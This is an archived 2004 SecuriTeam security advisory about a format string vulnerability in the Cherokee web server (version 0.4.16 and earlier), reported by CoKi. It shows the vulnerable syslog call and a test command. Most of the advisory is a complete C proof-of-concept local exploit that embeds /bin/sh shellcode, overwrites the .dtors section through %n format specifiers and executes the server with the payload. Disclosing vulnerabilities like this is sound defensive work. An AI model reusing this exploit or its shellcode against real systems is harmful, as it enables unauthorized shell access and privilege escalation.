

# [UNIX] Cherokee Format String Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-04/0086.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 04/22/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 22 Apr 2004 18:44:18 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

## Cherokee Format String Vulnerability

---

### SUMMARY

<<http://www.0x50.org>> Cherokee is "a tiny, very fast, lightweight Web server. It is implemented entirely in C, and has no dependencies beyond a standard C library. It is embeddable, extensible with plug-ins, and supports on-the-fly configuration by reading files or strings".

A vulnerability exists in the way Cherokee handles command line arguments which exposes a format string bug.

### DETAILS

Vulnerable Systems:

\* Cherokee Web Server version 0.4.16 and prior

Cherokee Web Server is affected by a format string bug in the PRINT\_ERROR() function to 66 lines of common.c code:

---- common.c ----

55: void

56: PRINT\_ERROR (const char \*format, ...)

57: {

58: va\_list arg\_list;

59: &nbsp;CHEROKEE\_TEMP(tmp, 2048);

## Securiteam: [UNIX] Cherokee Format String Vulnerability

```
60:
61: &nbsp;pva_start(arg_list, format);
62: &nbsp;pvsprintf (tmp, tmp_size, format, arg_list);
63: &nbsp;pva_end(arg_list);
64:
65: &nbsp;pfprintf (stderr, "%s", tmp);
66: &nbsp;psyslog (LOG_ERR, tmp); // The bug
67: }
--- common.c ---
```

It's very simple to test if the bug exists. It can be done in the following manner:

```
$ cherokee -C AAAA%08x
Can't read the configuration file: 'AAAA%08x'
$ tail -n 1 /var/log/syslog
Apr 17 15:03:25 servidor cherokee: Can't read the configuration file:
'AAAA0804b780'
$
```

Exploit:

A proof-of-concept exploit code for this vulnerability is listed below:

```
----- cherokee_exp.c -----
/* cherokee_exp.c
```

Cherokee Web Server Format String Vulnerability

Cherokee <= 0.4.16 local exploit (Proof of Concept)

Tested in Slackware 9.0 and Slackware 9.1.0

by CoKi <coki@nosystem.com.ar>

No System Group - <http://www.nosystem.com.ar>

```
*/
```

```
#include <stdio.h>
#include <string.h>
```

```
#define PATH "/usr/local/bin/cherokee"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"
```

```
unsigned char shellcode[]= /* aleph1 shellcode.45b */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40xcd\x80\xe8\xdc\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68";
```

```
int check(unsigned long addr);
```

```
int main(int argc, char *argv[]) {
```

## Securiteam: [UNIX] Cherokee Format String Vulnerability

```
int i, dtorsaddr;
unsigned int bal1, bal2, bal3, bal4;
char temp[512];
char buffer[1024];
char nop1[255], nop2[255];
char nop3[255], nop4[255];
int cn1, cn2, cn3, cn4;
FILE *f;
char *env[3] = {shellcode, NULL};
int bufaddr = 0xbffffffa - strlen(shellcode) -
strlen("/usr/local/bin/cherokee");

/* finding .dtors address */
sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
f = fopen(temp, "r");
if(fscanf(f, "%08x", &dtorsaddr) != 1) {
    fclose(f);
    printf("Cannot find .dtors address\n");
    exit(1);
}
fclose(f);
dtorsaddr = dtorsaddr + 4;

printf("\n Cherokee <= 0.4.16 local exploit (Proof of Concept)\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");
printf(" shellcode address = %.8p\n", bufaddr);
printf(" .dtors address = %.8p\n", dtorsaddr);

bzero(temp, sizeof(temp));
bzero(buffer, sizeof(buffer));

/* adding .dtors address */
for(i = 0; i < 4; i++) {
    bzero(temp, sizeof(temp));
    sprintf(temp, "%s", &dtorsaddr);
    strncat(buffer, temp, 4);
    dtorsaddr++;
}

/* convert buffer address location */
memset(nop1, 0, 255);
memset(nop2, 0, 255);
memset(nop3, 0, 255);
memset(nop4, 0, 255);

bal1 = (bufaddr & 0xff000000) >> 24;
bal2 = (bufaddr & 0x00ff0000) >> 16;
bal3 = (bufaddr & 0x0000ff00) >> 8;
bal4 = (bufaddr & 0x000000ff);

cn1 = bal4 - 16 - 36 - 88 - 2;
```

## Securiteam: [UNIX] Cherokee Format String Vulnerability

```
cn1 = check(cn1);
cn2 = bal3 - bal4 - 2;
cn2 = check(cn2);
cn3 = bal2 - bal3 - 2;
cn3 = check(cn3);
cn4 = bal1 - bal2 - 2;
cn4 = check(cn4);

memset(nop1, '\x90', cn1);
memset(nop2, '\x90', cn2);
memset(nop3, '\x90', cn3);
memset(nop4, '\x90', cn4);

sprintf(temp, "%08x%08x%08x%08x%08x%08x"
          "%08x%08x%08x%08x%08x%08x"
          "%s\xeb\x02% %n"
          "%s\xeb\x02% %n"
          "%s\xeb\x02% %n"
          "%s\xeb\x02% %n\x90\x90\x90\x90"
          ,nop1, nop2, nop3, nop4);

strcat(buffer, temp);

execl(PATH, "cherokee", "-C", buffer, NULL, env);
}

int check(unsigned long addr) {
char tmp[128];
sprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;

return addr;
}
----- cherokee_exp.c -----
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:coki@nosystem.com.ar>> CoKi.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

## Securiteam: [UNIX] Cherokee Format String Vulnerability

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.